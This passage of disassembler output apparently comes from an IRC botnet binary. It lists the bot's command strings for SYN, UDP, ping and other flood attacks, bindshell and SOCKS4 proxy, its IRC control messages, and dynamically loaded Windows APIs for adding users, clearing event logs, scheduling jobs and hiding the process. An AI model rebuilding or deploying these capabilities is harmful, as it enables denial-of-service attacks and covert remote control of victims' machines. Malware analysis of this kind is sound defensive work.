		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42EB84	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401AC7+1008o
					; sub_401AC7+109Bo
dword_42EB94	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401AC7+1003o
					; sub_401AC7+1096o
dword_42EBA4	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401AC7+FEDo
					; sub_401AC7+1072o
dword_42EBB4	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401AC7+FE8o
					; sub_401AC7+106Do
dword_42EBC4	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401AC7+F96o
					; sub_401AC7+10EDo
dword_42EBD0	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+F91o
					; sub_401AC7+10E8o
dword_42EBDC	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401AC7+F7Bo
					; sub_401AC7+10C4o
dword_42EBE8	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+F76o
					; sub_401AC7+10BFo
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401AC7+F19o
		align 10h
dword_42EC00	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401AC7+F0Eo
					; sub_401AC7+FCFo
dword_42EC0C	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+F09o
					; sub_401AC7+FCAo
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401AC7+EF0o
		align 4
dword_42EC24	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401AC7+EE5o
					; sub_401AC7+FB4o
dword_42EC34	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401AC7+EE0o
					; sub_401AC7+FAFo
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401AC7+EC7o
		align 10h
dword_42EC50	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401AC7+EBCo
					; sub_401AC7+1026o
dword_42EC60	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401AC7+EB7o
					; sub_401AC7+1021o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401AC7+E9Eo
		align 4
dword_42EC7C	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401AC7+E93o
					; sub_401AC7+F5Do
dword_42EC88	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+E8Eo
					; sub_401AC7+F58o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401AC7+E75o
dword_42EC9C	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401AC7+E6Ao
					; sub_401AC7+F42o
dword_42ECA8	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+E65o
					; sub_401AC7+F3Do
dword_42ECB4	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401AC7+E4Co
dword_42ECC0	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401AC7+E41o
dword_42ECD0	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401AC7+E3Co
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401AC7+E23o
		align 10h
dword_42ECF0	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401AC7+E18o
dword_42ECFC	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401AC7+E13o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401AC7+DFAo
dword_42ED10	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401AC7+DEFo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401AC7+DD1o
		align 4
dword_42ED2C	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401AC7+DC6o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401AC7+DA8o
		align 4
dword_42ED48	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401AC7+DA0o
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401AC7+D82o
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401AC7+D6Do
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401AC7+D58o
		align 10h
dword_42ED70	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0	; DATA XREF: sub_401AC7+D36o
aServer_0	db 'Server',0           ; DATA XREF: sub_401AC7+D31o
					; sub_401AC7+D9Bo ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401AC7+D18o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401AC7+D03o
		align 10h
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401AC7+CEEo
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401AC7+CD9o
		align 10h
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401AC7+CC4o
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401AC7+CAFo
aDedication	db 'dedication',0       ; DATA XREF: sub_401AC7+C9Ao
		align 4
aLo		db 'lo',0               ; DATA XREF: sub_401AC7+C85o
		align 10h
aDie		db 'die',0              ; DATA XREF: sub_401AC7+C46o
aRn		db 'rn',0               ; DATA XREF: sub_401AC7+C31o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401AC7+C19o
a63		db '63',0               ; DATA XREF: sub_401AC7+AE6o
		align 4
asc_42EDE4:				; DATA XREF: sub_401AC7+ABEo
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401AC7+A81o
		align 10h
aServer_1	db '$server',0          ; DATA XREF: sub_401AC7+A76o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401AC7+A65o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401AC7+A49o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_401AC7+A38o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401AC7+A26o
aD_0		db '$%d',0              ; DATA XREF: sub_401AC7+9B8o
aD_1		db '$%d-',0             ; DATA XREF: sub_401AC7+8F4o
		align 4
dword_42EE24	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401AC7+889o
		dd 0A0Dh
dword_42EE3C	dd 4E495001h, 47h	; DATA XREF: sub_401AC7+855o
dword_42EE44	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401AC7+84Ao
		dd 0D017325h, 0Ah
dword_42EE60	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401AC7+819o
dword_42EE6C	dd 6968h		; DATA XREF: sub_401AC7+6E9o
dword_42EE70	dd 323333h		; DATA XREF: sub_401AC7+648o
					; sub_401AC7+70Bo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401AC7+626o
					; sub_408C5D+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401AC7+61Ao
					; sub_408C5D+16o
unk_42EE84	db  2Dh	; -		; DATA XREF: sub_401AC7+5C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42EEA8	db  2Dh	; -		; DATA XREF: sub_401AC7+5A2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401AC7+571o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401AC7+534o
					; sub_40DA9B+5DBo
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401AC7+523o
					; sub_401AC7+5E6o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401AC7+4FBo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401AC7+3CDo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+36Eo
					; sub_401AC7+60Ao
unk_42EEFC	db  2Dh	; -		; DATA XREF: sub_401AC7+355o
					; sub_401AC7+2925o ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401AC7+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401AC7+28Do
					; sub_401AC7+6E91o ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401AC7+265o
					; sub_41489B:loc_414912o
a302		db '302',0              ; DATA XREF: sub_401AC7+22Ao
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1E4o
					; sub_401AC7+3B4o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401AC7+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401AC7+1A9o
					; sub_41489B+50o
		align 4
asc_42EF5C:				; DATA XREF: sub_401AC7+A8o
					; sub_401AC7+BBEo ...
		unicode	0, < >,0
asc_42EF60	db ' :',0               ; DATA XREF: sub_401AC7+86o
					; sub_401AC7:loc_40235Ao
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_408C5D+58o
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_408CF8+BBBo
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_408CF8+BAEo
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_408CF8+BA1o
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_408CF8+B94o
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_408CF8+B87o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_408CF8+B7Fo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_408CF8:loc_40986Ao
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_408CF8+B3Do
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_408CF8+B35o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_408CF8:loc_409820o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_408CF8+AE3o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_408CF8+AD6o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_408CF8+AC9o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_408CF8+AC1o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_408CF8:loc_4097ACo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_408CF8+A7Fo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_408CF8+A77o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_408CF8:loc_409762o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_408CF8+A35o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_408CF8+A2Do
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_408CF8:loc_409718o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_408CF8+99Fo
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_408CF8+992o
					; sub_415679+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_408CF8+985o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_408CF8+978o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_408CF8+96Bo
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_408CF8+95Eo
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_408CF8+951o
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_408CF8+944o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_408CF8+937o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_408CF8+92Ao
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_408CF8+91Do
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_408CF8+915o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_408CF8:loc_4095FCo
					; sub_415679+58o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_408CF8+8C7o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_408CF8+8BAo
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_408CF8+8B2o
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_408CF8:loc_40959Do
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_408CF8+878o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_408CF8+806o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_408CF8+7F9o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_408CF8+7ECo
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_408CF8+7DFo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_408CF8+7D2o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_408CF8+7C5o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_408CF8+7B8o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_408CF8+7ABo
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_408CF8+79Eo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_408CF8+796o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_408CF8:loc_40947Do
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_408CF8+64Co
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_408CF8+63Fo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_408CF8+632o
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_408CF8+625o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_408CF8+618o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_408CF8+60Bo
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_408CF8+5FEo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_408CF8+5E4o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_408CF8+5D7o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_408CF8+5CFo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_408CF8+5BDo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_408CF8+5B0o
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_408CF8+5A3o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_408CF8+589o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_408CF8+57Co
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_408CF8+56Fo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_408CF8+562o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_408CF8+555o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_408CF8+548o
		align 10h
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_408CF8+52Eo
aSocket		db 'socket',0           ; DATA XREF: sub_408CF8+521o
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_408CF8+514o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_408CF8+507o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_408CF8+4FAo
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_408CF8+4EDo
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_408CF8+4E0o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_408CF8+4D3o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_408CF8+4CBo
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_408CF8+4BAo
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_408CF8+447o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_408CF8+43Ao
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_408CF8+42Do
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_408CF8+420o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_408CF8+413o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_408CF8+406o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_408CF8+3F9o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_408CF8+3ECo
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_408CF8+3E4o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_408CF8:loc_4090CBo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_408CF8:loc_4090A3o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_408CF8+353o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_408CF8+346o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_408CF8+339o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_408CF8+32Co
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_408CF8+31Fo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_408CF8+312o
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_408CF8+305o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_408CF8:loc_408FF5o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_408CF8+2CDo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_408CF8+2C0o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_408CF8:loc_408FB0o
		align 10h
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_408CF8+26Co
		align 10h
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_408CF8+25Fo
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_408CF8+252o
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_408CF8+245o
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_408CF8+238o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_408CF8+22Bo
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_408CF8+21Eo
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_408CF8+216o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_408CF8:loc_408EFDo
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_408CF8+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_408CF8+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_408CF8+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_408CF8+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_408CF8+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_408CF8+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_408CF8+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_408CF8+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_408CF8:loc_408E2Do
					; sub_420858+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_408CF8:loc_408E00o
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_408CF8+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_408CF8+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_408CF8+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_408CF8+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_408CF8+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_408CF8+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_408CF8+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_408CF8+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_408CF8+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_408CF8+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_408CF8+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_408CF8+Ao
		align 4
unk_42F7C8	db  2Dh	; -		; DATA XREF: sub_409910+2BEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_409910+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_409910+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_409910+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_409910+1FCo
		align 10h
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_409910+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_409910+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_409910+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_409910+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_409910+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_409910+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_409910+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_409910+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_409910+28o
		align 4
a_:					; DATA XREF: sub_40CAA5+10o
					; sub_40EA69+24Do
		unicode	0, <.>,0
unk_42F93C	db  2Dh	; -		; DATA XREF: sub_409C3F:loc_409CFEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42F96C	db  2Dh	; -		; DATA XREF: sub_409C3F:loc_409CCCo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42F99C	db  2Dh	; -		; DATA XREF: sub_409C3F:loc_409C98o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 10h
unk_42F9C0	db  2Dh	; -		; DATA XREF: sub_409C3F+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_409D1D+46o
					; sub_40B0F0+38o ...
aReal		db 'real',0
		align 10h
		dd 0
dword_42FA04	dd 0			; DATA XREF: sub_40A19A+7o
off_42FA08	dd offset sub_409DC3	; DATA XREF: sub_40A19A+49r
aConst		db 'const',0
		align 8
		dd 1, 409E2Fh, 7474656Ch, 7265h, 0
		dd 2, 409E8Dh, 706D6F63h, 2 dup(0)
		dd 3, 409EDAh, 6E756F63h, 797274h, 0
		dd 4, 409F78h, 736Fh, 2	dup(0)
		dd 5, 409FEDh
off_42FA70	dd offset aAbdulrazak	; DATA XREF: sub_409DC3+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42FA7C	dd offset aAddison	; DATA XREF: sub_40A19A+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison_0	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
